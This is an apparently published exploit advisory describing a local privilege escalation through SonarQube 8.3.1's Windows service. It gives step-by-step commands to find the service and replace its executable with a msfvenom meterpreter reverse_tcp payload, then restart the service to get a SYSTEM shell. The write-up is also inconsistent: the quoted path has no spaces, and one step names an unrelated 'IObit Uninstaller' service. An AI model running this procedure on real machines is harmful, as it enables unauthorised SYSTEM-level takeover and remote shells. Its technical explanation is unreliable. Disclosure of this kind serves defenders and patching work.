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Sonar Qube 8.3.1 Unquoted Service Path

🗓️ 17 Jul 2020 00:00:00Reported by Velayutham SelvarajType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 579 Views

Sonar Qube 8.3.1 Unquoted Service Path vulnerability allows privilege escalation by dropping a malicious executable and restarting the service with SYSTEM privileges

Code
`# Title: Sonar Qube 8.3.1 - 'SonarQube Service' Unquoted Service Path  
# Author: Velayutham Selvaraj  
# Date: 2020-06-03  
# Vendor Homepage: https://www.sonarqube.org  
# Software Link: https://www.sonarqube.org/downloads/  
# Version : 8.3.1  
# Tested on: Windows 10 64bit(EN)  
  
About Unquoted Service Path :  
==============================  
  
When a service is created whose executable path contains spaces and isn't  
enclosed within quotes,  
leads to a vulnerability known as Unquoted Service Path which allows a user  
to gain SYSTEM privileges.  
(only if the vulnerable service is running with SYSTEM privilege level  
which most of the time it is).  
  
Steps to recreate :  
=============================  
  
1. Open CMD and Check for USP vulnerability by typing [ wmic service get  
name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v  
"c:\windows\\" | findstr /i /v """ ]  
2. The Vulnerable Service would Show up.  
3. Check the Service Permissions by typing [ sc qc SonarQube]  
4. The command would return..  
  
C:\Users\HP-840-G2-ELITEBOOK>sc qc SonarQube  
[SC] QueryServiceConfig SUCCESS  
  
SERVICE_NAME: SonarQube  
TYPE : 10 WIN32_OWN_PROCESS  
START_TYPE : 2 AUTO_START  
ERROR_CONTROL : 1 NORMAL  
BINARY_PATH_NAME :  
C:\Users\HP-840-G2-ELITEBOOK\Downloads\sonarqube-8.3.1.34397\sonarqube-8.3.1.34397\bin\windows-x86-64\wrapper.exe  
-s  
C:\Users\HP-840-G2-ELITEBOOK\Downloads\sonarqube-8.3.1.34397\sonarqube-8.3.1.34397\conf\wrapper.conf  
LOAD_ORDER_GROUP :  
TAG : 0  
DISPLAY_NAME : SonarQube  
DEPENDENCIES :  
SERVICE_START_NAME : LocalSystem  
  
5. This concludes that the service is running as SYSTEM. "Highest  
privilege in a machine"  
6. Now create a Payload with msfvenom or other tools and name it to  
wrapper.exe  
7. Make sure you have write Permissions to where you downloaded. i kept it  
in downloads folders but confirmed it in program files as well.  
8. Provided that you have right permissions, Drop the wrapper.exe  
executable you created into the  
"C:\Users\HP-840-G2-ELITEBOOK\Downloads\sonarqube-8.3.1.34397\sonarqube-8.3.1.34397\bin\windows-x86-64\"  
Directory.  
9. Now restart the IObit Uninstaller service by giving coommand [ sc stop  
SonarQube] followed by [ sc start SonarQube]  
10. If your payload is created with msfvenom, quickly migrate to a  
different process. [Any process since you have the SYSTEM Privilege].  
  
During my testing :  
  
Payload : msfvenom -p windows/meterpreter/reverse_tcp -f exe -o wrapper.exe  
Migrate : meterpreter> run post/windows/manage/migrate [To migrate into a  
different Process ]  
`

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